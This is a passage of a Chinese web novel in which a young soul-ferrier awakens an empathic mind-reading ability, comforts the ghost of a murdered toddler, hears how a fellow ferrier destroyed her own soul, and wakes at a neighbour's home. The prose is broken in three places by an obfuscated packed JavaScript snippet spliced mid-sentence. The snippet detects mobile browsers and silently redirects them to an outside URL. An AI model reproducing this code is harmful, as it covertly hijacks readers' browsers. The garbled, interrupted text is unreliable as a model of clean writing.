朱萸盯着小孩看了会儿,又看了一眼旁边的白心,笑了一下,说道:“没想到你这么快啊。” “嗯?”白心把目光从小孩身上移开,重新聚焦到朱萸脸上,“什么这么快?” “能力觉醒啊。”朱萸笑着回答,眼睛弯弯,像只漂亮的狐狸。 能力觉醒?白心又愣住了,问道:“什么能力觉醒?” “嗯?”这次是朱萸感到疑惑了,“你不知道吗?你们引渡人身上都有特殊能力的啊。” 白心:??? 白心一脸懵,回答道:“这,黑白无常也没给我说啊。” 朱萸看着白心呆傻的样子,又叹了口气,说道:“就知道这俩不靠谱。” “算了,都是打工人,也能理解,”朱萸又说,“他俩确实忙,没给你讲到位也是正常的。” 白心点点头,一说到打工就共情了,瞬间放弃对黑白无常的追责,继续问道:“你继续说,什么能力觉醒?” 朱萸也点头,回答道:“不是所有人都能去引渡亡魂的,必须有点特殊能力才够格。” “如果这活人人都能干,那地府就乱套了,”朱萸继续说道,“就跟你在人间求职一样,成为引渡人也是有门槛的,咱们地府也不是什么人都招。” “大部分都是普通亡魂,没有特殊能力,但是也有像你们这种,因为某方面特别突出所以进化出了某种能力的人。” 朱萸顿了一下,说道:“这种能力在你们当人的时候可能不会太明显,但是成为亡魂之后就会完全显现出来。” 听见朱萸的话,白心好像任督二脉被打通了似的,恍然大明白为什么连她这种功德低穿地心的鬼都有资格给地府打工了。 跟人间一样,任何工作都有门槛,就算你想去搬砖,那也得力气大体力好,连她的破公司都要求学历本科及以上呢。 “那……”她又问道,“都有些什么能力呢?” 朱萸说完后,白心的心情由惊奇转变为了好奇,忍不住想知道这引渡人都有些什么神奇的能力。 “嗯……”朱萸捏着下巴,思索了一会儿,娓娓道来:“比如,嘴巴和屁股会喷火、眼皮能夹死一只苍蝇、弹跳力特别强一跳十米远、能和所有的蚊子交流……” 白心:“……” 她听得有点力竭,本来还有点严肃,正准备好好倾听各种大战四方的能力,结果就这?失去了之后堪比一条鱼失去了自行车一样的超能力? “这都有啥用啊?”她打断朱萸的枚举,忍不住问道。 “哎,那你就错了。”朱萸停止思索,双手抱胸,看着屏幕里的白心。 她继续说道:“这些能力看似没用,但是正好会匹配上某些亡魂的需求。比如喷火那个,刚好可以去引渡淹死的水鬼;夹死苍蝇的,正好能和生前生产苍蝇拍的亡魂匹配;跳远厉害的,去接一个跳远运动员,俩人不刚好可以切磋吗?” “……”白心还是有些无语,“那能和蚊子交流的呢?” 她实在想不出来,和蚊子交流能有什么用。 “额……”朱萸也犹豫了,想了一会儿也没想出来。 “你别管那么多,”朱萸差点被白心带偏,重新把话题掰回正轨,“你的能力这不是正好用上了吗?” 白心看了一眼朱萸,又转过头看着旁边坐着的小孩,心里的谜团渐渐解开,终于知道了为什么小孩明明没有说话,但是她还是能听见她的心声。 读心,这就是她的能力。 “为什么我会有这样的能力?”白心把头转回来,看着朱萸,问道。 “这就跟你的前世有关系了,”朱萸回答,重新思考起来,“比如刚才那些,会喷火的几辈子都是马戏团干杂耍的,夹死苍蝇的上辈子是一株捕蝇草,弹跳力强的前两世都是一只螳螂,能和蚊子交流的……” “上辈子也是蚊子是吧?”白心抢答,这规律差不多已经被她摸清了。 “不是,”朱萸摇摇头,说道,“他上辈子是个人,但是执念是天下所有的蚊子都能消失,深受蚊子困扰,所以……” 白心:“……” 白心扶额,真是好神的一群鬼。 “所以你的能力应该也和前世有关。”朱萸说道。 前世。白心放下手,自己低得不能再低的功德又浮现在眼前,难道…… “难道我上辈子是个算命的?”白心抬起头来,看着朱萸,“是不是我骗的人太多了,搅乱了他们的因果,所以才被惩罚?” “额……”朱萸显然没跟上白心神奇的脑回路,但还是肯定了她,“不无这种可能。” 难道是钦天监?白心又想,古代不是有那种观察天象左右皇帝决策的臣子吗?一天天啥也不干就是琢磨星星月亮,然后被权力支配胡说八道,最后害死一群人。 又或者是大祭司?占星师?白心不停地猜测,什么人才能看穿别人的心思,读他人之心啊? “好了,”朱萸打断白心不断发散的想法,说道,“你好好干活就是了,想这么多干嘛?” “那这个能力,”白心又说,“是不是就是我们人类所说的特长?” 从朱萸的话里她大概知道,这些能力虽然人类没有,但是或多或少也会显现一点出来。 朱萸想了一下,回答道:“不能完全这么说,但是也差不多,像长得特别漂亮的上辈子可能就是花仙子,唱歌特别好听的之前可能是天上负责放音乐的,不过也不一定。” 怪不得呢,白心想,她就看她那老板肥头猪耳的,长得和猪一模一样,上辈子肯定是只野猪没跑了。 “我还有一个问题。”白心甩甩头,把死人老板从脑袋里甩走,抬起头,重新看着朱萸的眼睛。 “什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918416|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题?” “我想问一下,”她说,“钟榆的能力是什么?” 朱萸的表情一愣,没有想到白心会突然问起钟榆。她轻皱了一下眉,顿了一会儿,才回答道:“她的能力是净化。” “净化?”听到这个词,白心忽然想起某游戏里的人物技能。 “净化一切悲痛、愤怒、怨恨,”朱萸想起了钟榆,脸上有种淡淡的哀伤,“净化这世间一切苦厄,带给所有亡魂平静和祥和。” 白心:“她的上一世是什么?” 朱萸摇了摇头:“她没有等到进地府的那一天,就……” “叠个千纸鹤,再系个红飘带,愿善良的人们天天好运来~~”屏幕上方弹出一条消息,白心被吓了一跳,向上一看,刚还在聊着钟榆的事,钟榆的妹妹就致电来了。 “抱歉,”白心看着茱萸,“我先接个电话,等会儿再和你说。” “好。”朱萸微微笑了一下,挂断了和白心的视频通话。 白心拉下状态栏,接通了钟槐的视频,看见屏幕里是两张棱角分明锐气十足的脸。 “咋啦?”白心问道。 屏幕里的钟槐发丝飞舞,旁边王二一脸紧张,脸正对着屏幕,不敢偏过头去看钟槐。 这背景,这声音……白心看着视频里俩人背后的昏暗路灯,还有时不时传来的海浪声,说道:“你俩在海边啊?” “是啊,”钟槐一只手抱着头盔,另一只手抬起来捋了一下吹到脸上的头发,回答道,“刚在这收完一个水鬼。” “所以呢?” 白心不明所以,两个人在海边约会还给她打电话干什么。 “看看你怎么样了啊,”钟槐对着白心笑了一下,笑容明媚,充满少年人的朝气,“给你的葫芦用了没?” “没有。”白心摇摇头。 钟槐看着白心,似乎是早已预料到她的回答,笑了:“你这种人,就是有种莫名其妙的坚持。” 白心没有反驳钟槐的讽刺,而是说道:“我的能力觉醒了,所以不用葫芦了。” 钟槐眉头一皱:“你的能力是什么?” “读心。”白心回答。 钟槐愣了一下,然后说道:“看来你上辈子很厉害嘛。” “那个……”白心的视线从钟槐转移到王二脸上,问道,“我想问,他的能力是什么?” 在幼儿园大门口的时候她就注意到了,或者说更早,在幸福小区的时候她就看到了,王二的左手手腕也有一个手环。 跟她一模一样的,属于引渡人的白色手环。 “哦,他啊,”钟槐看白心问到王二,笑着偏过头去看了一眼旁边的男孩,说道,“他的嗅觉很灵敏。” “嗅觉?”白心不解,这算啥能力。 听到旁边的女孩说话,闻到钟槐的气息,王二更紧张了,有点兴奋的同时又不敢妄动,头低得更厉害了,脸颊迅速泛起了红晕。 钟槐把头转过来,看着白心,说道:“他的嗅觉是我们的五十万倍。” 这……白心哑然,不知道说啥。 “很正常啊,”钟槐看着呆了的白心,又说道,“因为他上辈子是一只狗啊。” 48.沉默的幼儿园(十五) 对话结束,幼儿园重回寂静。 和钟槐的视频通话已经关闭,白心坐在海洋球上,脑子里不断冒出刚才少女在海边说的话。 因为他上辈子是一只狗啊……他是一只狗啊……一只狗……啊…… 原来不是什么特殊爱好啊。白心闭上眼睛,右手抚额,为自己之前某种不可说的想法和猜测感到微微惭愧。 一个猴一种拴法,一只狗一套训法。白心睁开眼,突然觉得好笑,眼前浮现出王二的人模狗样以及钟槐训犬时威风凛凛的样子。 般配。 “痛。”小孩又突然说话。 白心眉头一皱,感觉到心里一紧,像有一只手狠狠攥住了她的心脏。 她低下头,看着旁边把手伸进衣服,开始挠自己的豆思红。 好奇怪。 白心一只手捂着心口,另一只手把住小孩的手臂阻止她继续挠。她皱着眉,仔细分辨着心里这股突如其来的感觉。 读心。白心静静感受着,发现她的技能不是传统意义上的读心、简单听取心声。 她的心里充满了一种由害怕、失落和难过组成的感觉,一种陌生的、不属于她的、但是又有一点点熟悉的感觉。 这种感觉牢牢地攀在她的心里,和她自己的实时感受合二为一。 与其说读心,白心想,这更像是……共情。 只是这种“共情”比起做人的时候更深刻,不是简单共鸣别人的情绪,而是仿佛成为了灵魂本身,直接感受到其心里最深的执念。 豆思红的那句“妈妈”也不是一句清晰的声音,而是突然在脑子里冒出来的一种没有声音的呼喊。 豆思红之所以是白色的灵魂,是因为执念在她的潜意识里。 白心明白了。豆思红不知道自己在想妈妈,她甚至不明白发生了什么。 妈妈在她的潜意识里,在她的灵魂种子里,在她的本能渴望里。 白心认真辨认着,一边看着小孩的马尾一边继续思索。 幸福小区。 白心突然想起昨晚在幸福小区的经历,她的心里也充满了没来由的剧痛……那会不会就是那个S级恶灵的心声和执念,她想。 “痛。” 豆思红还是说着这一个字。 白心又感觉心里猛地一疼,一种不由自主想哭的感觉袭来。 白心放开握着小孩的手,两只手从后背夹住她的嘎吱窝,一个翻身就把她翻了过来,小孩就坐在了白心的腿上,两个人更近距离地面对面了。 “不痛不痛,”白心抱着豆思红,脸颊贴住小孩的额头,轻声哄道,“想妈妈了是不是。” 她一只手拢着小孩,另一只手在她的后背轻抚。她没做过母亲,也几乎不跟小孩接触,只能努力学着之前李婧哄孩子的样子哄她。 听到妈妈,豆思红的眼睛终于亮了一下,说出了痛以外的另外一个字: “嗯。” 白心感受到心里那种难过的感觉逐渐被一种温暖的安全的感觉替代。她明白,豆思红想起妈妈,就是这样的感觉。 万籁俱静,月明星稀,在这个残旧的幼儿园里,一大一小两个灵魂互相依偎,心里想着同一个人。 天上的星星不说话,地上的娃娃想妈妈。白心抱着豆思红,终于想起刚才那种有点熟悉的痛的感觉是什么了。 是她曾经在这里上学,每一天放学时的感觉。 其他的小朋友有爸爸接,或者有妈妈接,甚至是爸爸妈妈一起来接,但是她没有。年纪尚幼的她不懂什么是羡慕,只是本能地感到失落和难过,她每天每天站在铁门前,日复一日等待一个熟悉的身影到来。 妈妈。白心的脑海又浮现出梦里的那个女人,她的鼻子一酸,不受控制地就要流下泪来。 很奇怪啊,白心猛地吸了吸鼻子,把眼泪吸回去,明明是豆思红在想妈妈,怎么她也想起了她。 “豆思红,”白心的脸离开小孩的额头,笑着看着她的眼睛,“你是叫豆思红吗?” 小孩仿佛已经接受了白心,又或者是白心的扎头发、拥抱等一系列行为让她想起了妈妈,让她找回了熟悉感和安全感,此时此刻她的表情已经没有之前那样的麻木了。 “嗯,”豆思红回答,顿了顿,又说,“豆豆。” “豆豆?”白心惊喜地看着愿意开始说话的小孩,乘胜追击问道,“你的小名叫豆豆?” “嗯。” 豆思红再次回答。 白心的手腕猛地一震,熟悉的女声响起:“任务目标已完成认证,豆思红,女,3岁半,死于刺伤,功德120点。” 白心抱着豆思红,看见小孩的眼睛亮晶晶的,似乎是对手环的声音很感兴趣。 “喂,”白心立即抬起手臂,说道,“唱首歌听听。” 这才是你该唱歌的时候。白心想,之前不该唱的时候乱唱,现在该唱了反而没点眼力见了。 “好的主人,”清脆又甜美十分适合唱儿歌的声音再次响起,“叠个千纸鹤,再系个红飘带,愿善良的人们天天好运来~~~” 手环还是唱着这首歌,白心感到一阵无奈,正想切换歌曲,就看见豆思红竟然开始跟着音乐摆动、手舞足蹈了起来。 不仅如此,周围也猛地一亮,白心朝旁边看去,那些墙壁上的花草动物又飘了出来,不一会儿就飘到了她们这边,绕着整个海洋球泳池旋转。 白心坐在五颜六色的球上,前面是正在跳舞的小孩,周围是正在跳舞的小花小草小动物,那只小象的表情还是那么狰狞,恐怖地笑着,但是白心却没有昨天的不适了。 她的心里一阵雀跃,豆思红高兴的心情也影响了她,一种单纯的、由衷的快乐在她的心里环绕着。 她想起来了。 这是蓝天幼儿园的放学铃声。 白心感受着这股快乐,脑海深处的记忆浮现。她想起来了,为了区分和旁边小学的放学铃,蓝天幼儿园用的不是最常见的Goinghome的铃声,而是好运来。 那个时候,外婆总会姗姗来迟,直到整个铃声反复循环到结束,才会匆匆赶过来接她回家。 怪不得豆思红会这么高兴。白心看着面前兴奋不已的小孩,明白这个铃声响起,就意味着要放学了,放学,就可以看见妈妈了。 但是,她有一点奇怪。 “喂,”白心打断手环, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925266|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问道,“好运来是你的初始铃声吗?” 手环停止歌唱,回答道:“是的主人,所有引渡人的初始铃声都是这首歌,您也可以自行选择歌曲。” 钟榆。白心皱着眉头,想起了她,引渡人001号。 她们都在蓝天幼儿园上过学。 是巧合吗?白心的心跳忽然漏了一拍,赶紧问道:“帮我搜索引渡人001号的全部资料。” 手环沉默了几秒,回答道:“抱歉主人,001号的全部资料皆已封存,未检索到相关结果。” 封存?白心的眉心一跳,钟榆的资料被封存了,为什么? 没有了音乐,豆思红开始变得焦躁不安,在白心的怀里扭动起来。白心的思绪被打断,赶紧抱紧怀中的小孩,对着手环说道:“帮我给土地婆打个视频电话。” “好的主人。”手环立刻回答,开始拨打朱萸的电话。 等待拨通的间隙,白心忽然觉得一阵巨大的疲惫袭来。像上了一天班之后被掏空的那种感觉,让她十分疲劳且难受。 怎么这技能还耗蓝吗?白心看着屏幕想。 视频接通,屏幕里还是朱萸慵懒美丽的脸,她看着白心一脸疲态地抱着小女孩,笑了:“你还挺会哄小孩的啊。” 白心此刻没有跟朱萸贫嘴的心情,立即问道:“为什么钟榆的资料被封存了?” 朱萸一愣,没想到白心梅开二度,再次提起了钟榆。 白心看着愣神的朱萸,再次问道:“为什么我搜不到她的任何资料?” 朱萸也看着白心,屏幕里女孩十分瘦弱,眼神却很坚定,她想,和钟榆一样。 和十年前一样。 “因为她是一个失败的案例。”朱萸回答。 “失败的案例?”白心不禁皱眉,没有明白这句话。 朱萸叹了口气,说道:“引渡人计划是以她开始的,目的是增加地府引渡亡魂的人手。” “但是她引渡了一些亡魂之后,”她说,“突然拒绝了继续参与这个计划。” “为什么?”白心问道。 朱萸摇摇头:“不知道。按理说这是一举两得的事,帮助地府引渡亡魂,同时自己还能积攒功德,没有任何坏处,但是她就是突然不干了。” 白心听着朱萸的话,心里也疑问渐起,她没有说话,等着朱萸继续说。 朱萸:“本来还好好的,直到进地府的前一天……” “前一天怎么了?” “那天之后,她就可以进地府投胎了,”朱萸的眼睛向上抬,逐渐陷入回忆,“那时她已经停止引渡亡魂半个月了,但是她的功德已经足够让她进地府参与投胎了,而且说不定来世还能投到钟家,做钟家的后人。” “她虽然功德低下,但福泽深厚,领导们都很喜欢她。”朱萸叹了口气,语气轻柔。 白心越听越奇怪,这故事环环相扣却自相矛盾,她不禁追问道:“所以呢,发生了什么,她没有去投胎吗?” 朱萸摇摇头:“她不是没去投胎。” “那是什么?” 朱萸眉头一皱,咽了口口水,停了许久,才说: “她自行殒灭了。” 49.沉默的幼儿园(十六) “自、自行殒灭?”白心看着茱萸,不可置信。 朱萸没有说话,只是点头。活了一百二十六年,见过无数鬼神精怪,这个深受世人敬仰的土地婆想起十五岁的钟榆,脸上的伤感还是无所遁形。 白心也没有说话,脑海里浮现的不是钟榆,而是倾盆大雨下钟槐泪流满面的脸。 姐姐死了。 “所以她恨我,”朱萸停了一会儿,终于又说道,“恨我没有看好钟榆。” 白心明白,“她”就是钟槐。那天钟槐送她去土地庙的情景还历历在目,两人的对峙看得她十分紧张。 “对不起,”白心看着朱萸伤感的脸,问道,“我想问,灵魂是可以自行殒灭的吗?是彻底消失、不入轮回的意思吗?” 朱萸听见白心的问题,点点头:“是的,就跟人类自杀一样,灵魂也是可以自杀的。” “但是,”朱萸顿了一下,又说道,“代价极大。” 白心:“代价?” “人类阳寿未尽自行了断尚且需要在地狱受刑,更何况是灵魂自行殒灭呢,”朱萸叹了口气,说道,“而且,过程也极其痛苦。” “等我发现的时候,她已经把自己的灵魂种子硬生生掏出来了。” 朱萸说完,脸上也充满了痛苦,仿佛重新回到了当年的那个情景。 白心心里一颤,问道:“掏出来?” 她想问的是,这和用葫芦直接吸出来有什么不同? “为了最大程度保证阿赖耶识的完好,她徒手把自己的灵魂种子挖了出来,”朱萸的表情越来越痛苦,说道,“阿赖耶识不经过法器过滤,所有的记忆都会完好保存在里面。” “她为什么……”白心愣了,这跟直接人类徒手把心脏挖出来有什么区别? “我不知道,”朱萸摇摇头,表情努力恢复正常,“等我发现她的时候,她已经倒在土地庙后面的地上了。” “她捧着她的灵魂种子,”朱萸说,“让我交给地藏王菩萨。” 地藏王菩萨?白心想起通讯录里菩萨的白色头像,问道:“为什么要交给菩萨?” 朱萸还是摇头:“大领导哪是我们能随便见得到的,我最多能见到阎王,所以只能把她的种子交给她。” 白心点头,又问:“你刚刚说,代价是什么?” 都已经彻底消失、不入轮回了,还有什么比这更大的代价? 朱萸:“代价就是,意识永生。” “什么?”白心眉头紧皱,没有听明白。 “虽然她的灵魂殒灭了,”朱萸说道,“但是灵魂种子是不死不灭的。” “你知道为什么轮回要喝孟婆汤吗,就是因为每个灵魂还无法承受带着记忆进入下一世的结果,孟婆汤在某种程度上实际上是一种灵魂保护机制。” 朱萸顿了顿,继续说道:“她以这样的方式结束自己,代价就是她的灵魂种子无法参与轮回,带着她的元意识在地狱永远地活着。” “所以呢?”白心还是不明白,灵魂种子活着又能如何。 “她会每时每刻感觉到痛苦,但又没有任何办法,因为她无法清除记忆进入下一世,而且灵体已经殒灭,也无法和其他灵魂交流。” “痛苦地永生,”朱萸说,“这,就是代价。” 白心听得大汗淋漓,久久不能平静。 她明白,在这个世界上,最痛苦的不是结束,而是无法结束。她也是如此,求生不得求死不能,半人半鬼地活着。 而此时此刻恰如彼时彼刻,白心想起钟榆模糊的脸,而她,竟然主动选择了一条永无止境的绝路。 “所以我看到你,”朱萸又说,“就想到了她。” 白心抬起头,看着朱萸的双眼,她半张着口,好半天才说道:“她……最后有和你说什么吗?” 她想知道,钟榆为什么要这样做。好不容易有逆天改命,重入轮回做人的机会,她为什么要主动放弃。 朱萸叹了口气,回答道:“她说,她爱这个世界,爱所有的生命,还说唯一对不起的就是她的妹妹,让我平时多照顾她。” “还有呢?” “没有了,”朱萸摇摇头,“就这样。” 就这样?白心皱眉,她还以为有什么很大的事情要交代,结果就是这样吗? 朱萸终于说完故事,看着白心和她怀里的小孩,问道:“你呢?接下来怎么办?” 白心还沉浸在钟榆的故事里,此刻听到朱萸问道自己,大梦初醒一般回过神来,反应过来她怀里的小孩已经安静许久了。 她低下头,看见豆思红睡在她的怀里,两只手紧紧抱着她的腰。 白心把小孩搂紧,抬起头看了一眼屏幕上的时间。 四点半了,又是一夜即将过去。 “她想见她妈妈,”白心对着朱萸说道,“有什么办法吗?” 朱萸摸了摸下巴,思索道:“我最多帮你查到她户籍地和她妈妈的信息,但是其他的你就要自己想办法了。” “可以。”白心看着土地婆,眼神坚定。 然而下一秒,她忽然感觉到一股强烈的亏空感从心底涌出来,攀向她的四肢和全身,让她一瞬间天旋地转,眼冒金星了几秒。 好累。白心感到自己仿佛被人突然抽了真空一样浑身无力,连呼吸都变得衰弱,立刻就要晕倒。 “你怎么了?”朱萸看白心不对劲,赶紧问道。 “我不知道,”白心闭上眼,右手扶着额头,努力缓过劲来,“不知道是不是读心太久的原因。” “有可能,”朱萸点点头,“一般来说,这种能力对你们自身是会有一些消耗的。” 白心也点头,睁开了眼睛,努力扯出了一丝笑容:“谢谢你。” 朱萸一愣,看着屏幕前疲惫不堪却努力微笑的女孩,心里忽然一暖,说道:“不客气,我答应了钟槐要帮你。” 白心再次点头,站起来,把小孩安放在海洋球上,回到了院子的草坪中间。 “你先回去,”朱萸说道,“她的居住地和她妈妈的相关信息我明天发给你。” “好。”白心回答,然后关掉了视频通话。 她取出头盔和机车,慢慢爬上去,回头看了一眼睡在海洋球上的小孩,转过头,向着自己的家出发。 机车冲出了蓝天幼儿园,一路飞驰前往太阳小区。白心双手握着车把,感到自己的力量越来越弱,然而心里却像被塞了一块泡了水的海绵一样越来越涨。 钟榆。 朱萸的话还在耳边盘旋,她死得那么惨烈又痛苦,白心想,然而她的遗言竟然是爱这个世界。 这个世界有什么可爱的?白心皱着眉,想,她恨这个世界都还来不及。 这里充满了伤害、算计、压榨和不公,这里有那么多人痛苦,她想,明明人间才是地狱,为什么要爱它? 白心骑在车上,脑子里浮现朱萸那句我看到你就想起了她。 明明她们一点也不同。 从小她们就不一样。白心想起钟榆递过来的那块融化的巧克力,饱涨的心里忽然涌起一阵难言的隐痛。 那块巧克力就是她们人生的唯一交点。从那以后,两条直线分道扬镳,再无交集。白心看着前方模糊的街景,钟榆模糊的脸又不受控制地浮现在眼前。 你不是已经学会了保护自己吗?白心在心里说,不是我教你的吗? 你为什么还要这样? 天还未亮,白心宛如一道白色闪电劈在黑色道路上,她的前面是模糊的景色,大脑里是模糊的女孩,不仅如此,她的双眼也逐渐模糊,体力也迅速下降。 很快,她的双手也松开了车把,整个人不受控地往下滑,立马就要滑下机车。 “白心!” 一道女声破空传来,呼喊着机车上失去意识的女孩。 白心感觉到自己的大脑一团浆糊,她想睁开眼看看是谁在叫她,奈何实在是累得不行,体力流失得太快,连抬眼皮的力气都没有。 黑暗中飞来一个黑色身影,在白心彻底滑下车之前一把将她拦腰捞起,同时也骑上了机车,带着她一起前往目的地。 白心感觉到自己躺在了一个人的怀里,这个人的气息让她觉得很熟悉,但是她的脑子已经不支持她去分辨来人了,她只想睡觉。 “睡吧,”后面的女人轻声说道,“睡吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928685|189383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> …… 睁开眼,不是熟悉的天花板。 白心盯着头顶那个价值不菲的吊灯,好半天才反应过来,她坐起身来,看见自己躺在一张十分陌生的床上。 “醒了?”左慈端着一杯水进来,笑着坐在了床边的椅子上,把水递给白心。 白心看着左慈的笑容,发了好一会儿呆,才伸手接过杯子,说道:“谢……谢谢左姐。” “不客气,”左慈又笑了笑,说道,“昨天真是太危险了。” 昨天?白心喝了一口温度刚刚好的水,努力回想,才终于想起昨天晚上的事。 她从幼儿园出来之后,就跟被人用棒子打了似的晕得不行,不知道发生了什么,就听见有人叫她,然后她就睡着了。 “我进了你家把你抱了下来,你不介意吧?”左慈又说道,仍然笑眼盈盈。 进我家?白心拿开杯子,往下看了一眼,自己现在是回到肉身的实体状态,而不是灵魂出体的透明状态。 “啊……”白心刚想说没关系,又突然想到今天是星期三要上班,一瞬间跟被针扎了屁股似的大叫了一声,“啊!!!” “完了完了!要迟到了!!” 要是再迟到,组长能把她生吞活剥了!被工作支配的恐惧袭击大脑,白心立马清醒了,赶紧把水杯往床头柜一放,掀开被子就要下床。 “别着急!”左慈一把摁住她,力量的绝对压制让白心一秒躺回了床上。 左慈握着白心纤细的胳膊,说道:“你的领导刚才打了电话过来,我已经帮你请好假了。” 白心看着左慈的眼睛,一瞬间不知道说什么,憋了半天憋出一句:“谢谢你……” 左慈放开她,重新坐回椅子上,说道:“你不知道控制自己的能力吗?” 控制能力?白心转头看着左慈,想起来昨晚她是觉醒了读心的能力,她张了张口,回答道:“不知道……” 她确实不知道。白心想起昨晚的异常,发觉这能力她确实不会驾驭,好像不是主动技能,而是被动触发,一遇到任务目标就自动开启了似的。 “这样很危险,”左慈说道,“你要慢慢学会掌控你的能力。” 白心点点头,问道:“要……怎么做呢?” 昨晚她也确实没有主动去读豆思红的心,而是她的心声突然就闯进了她的脑子里。 “跟你运用你的大脑、你的手脚一样,”左慈看着白心,认真说道,“把它当成你身体的一部分,有意识地控制它。” 额…… 白心听懂了,又好像没听懂,左姐的解释还是稍微有点抽象了。 “慢慢来吧,”左慈看着一脸茫然的白心,笑了一下,鼓励地说道,“你的技能很强大,一时间不能迅速掌握是正常的。” 强大?白心听见这个跟她从来就没什么关系的词,心想我也配得上强大了? “想吃什么?”左慈不再谈论能力的事,转而问到早餐。 哦不,早午餐。 听见左慈的询问,白心的肚子十分识相地叫了一声,她赶紧捂住肚子,不好意思地看着左慈,尬笑了一下:“随便,我吃什么都行。” 左慈又笑了,牙齿整齐洁白,散发出昂贵的保养气息,白心看着左姐的牙齿,脑子又抽筋了,心想好漂亮的牙,光是保养费用都能买一套房了吧。 “好,”左慈站了起来,转身往外走,“那我就随便做了。” 白心看着左慈高大的背影,突然想起来上次借裤子还没还,赶紧喊道:“左姐,你的裤子……” “不用了,”左慈右手举起,轻轻挥了挥,“送你了。” 啊这……白心想起那条裤子,她没吃过猪肉但见过猪跑,上面某高奢品牌的标志亮得她眼瞎。 下一秒,她又想起昨天来还裤子时的疑惑,又问道:“左姐,我想问一下,你的家里怎么会有跟我一模一样尺码的裤子?” 要知道她可是个只有一米六的小矮子,又瘦又小的样子跟左慈和钟槐不能说不同,只能说八杆子打不着。 左慈的脚步一顿,然后继续向前走去,回答道: “那条裤子是钟槐姐姐的。” 50.沉默的幼儿园(十七) 白心坐在餐桌前,看着左慈在开放式厨房忙了半天,终于熄火,转身端过来两个碗。 “吃吧。”左慈把其中一碗放在白心面前,同时端着自己的那碗坐下。 “谢……” 白心对着左慈笑了一下,低下头看见碗里,谢到一半卡住了,脸上的表情也凝滞了。‘ 荷包蛋挂面。 漂亮洁白的陶瓷碗里装着的是一碗朴素无华的荷包蛋挂面。荷包蛋做得很烂,蛋白棉絮一样散布在碗里,中间的蛋黄被一半蛋白盖着,另一半浸在面汤里。葱花被油滴裹着漂浮在面汤上,底下是细细的挂面,没有辣椒,也没有榨菜,让人看起来有点没食欲。 “抱歉,”左慈把手里的筷子放在白心的碗边,笑着说道,“我不经常做饭,你别见怪。” 白心看着这碗清汤寡水毫无卖相的面,忽然不自觉地笑了一下。 竟然和她妈做得一模一样。 “没事,”白心拿起筷子,准备开始嗦面,“我爱吃。” 其实完全不爱。她妈根本不会做饭,每次都随便给她糊弄一下,荷包蛋挂面就是她最拿手的糊弄饭。每次学习到很晚,她妈下班回家,都会匆匆忙忙在厨房做一碗荷包蛋挂面给她。 而那个时候正是发育期的白心对这种既无卖相也无味道更无垃圾添加剂的食物毫无兴趣,但是每次都还是努力吃完,然后再继续学习。 白心吃了一口面,边吃边在心里笑:真的好难吃啊。 油放少了,盐放多了,蛋也烂了,白心边往嘴里塞面边想,左姐果真不会做饭。 “怎么样?”左慈也开始吃面,边吃边问,“还可以吗?” “嗯,”白心埋头吃面,同时点头,“好吃。” 不好吃,她想,但是很温暖。 白心吃着面,想起了自己搬进舅舅家之后每一个不能起来煮荷包蛋挂面的夜晚。寒冷、寂寞,令她饥寒交迫,令她不得已想起那一碗曾经嗤之以鼻,勉强吃下去的,她不爱的荷包蛋挂面。 左慈倒是不在意,似乎是对自己的厨艺很满意,低着头呼呼吃面,几大口就把碗里本来就不多的面吃完了。 而白心碗里的面却像线面繁殖一样越吃越多,白心努力吃着,还没吃到一半就饱了。 她抬起头,打算中场休息一下,结果打了个声如洪钟的长嗝。 “额……”白心打完嗝,不好意思地挠挠头,“吃饱了……” 左慈看着餐桌对面瘦小的女孩,惊呆了。 白心看着一脸震惊的女人,又看了一眼她早已吃完的面碗,知道左姐是给她多放了一些面。 白心笑了,看来左姐也是没有掌握“少了就是够了,够了就是多了,多了就是完蛋了”这个下面规则,生怕她吃不饱。 “吃饱了,真的吗?”左慈恢复表情,问道。 她看了一眼白心的碗,才吃了一半都不到,虽然她确实给她多放了一点,但是这个女孩的食量还是有点少了。 “嗯。”白心笑着点头,表示确定。 左慈看见白心点头,笑了一下,不再劝她,站起来拿过她的筷子和碗转身就往厨房走。 白心坐在凳子上,环视了一圈这个漂亮又宽敞的餐厅,才把目光重新聚焦到正在洗碗的女人背上,问道:“左姐,你昨天去哪了?” 昨天她敲了半天也没人来开门,那时候她就觉得奇怪,明明左慈让她白天来找她。 “昨天我去临时去了一趟墓园。”左慈听见白心的问题,回答道。 墓园?白心眉头一皱,脑海里立马浮现出钟槐的脸,又问道:“是钟槐工作的那个墓园吗?” “对,”左慈边洗碗边回答,“我去给她请假。” “请假?”白心有点惊讶,“她要请假?” 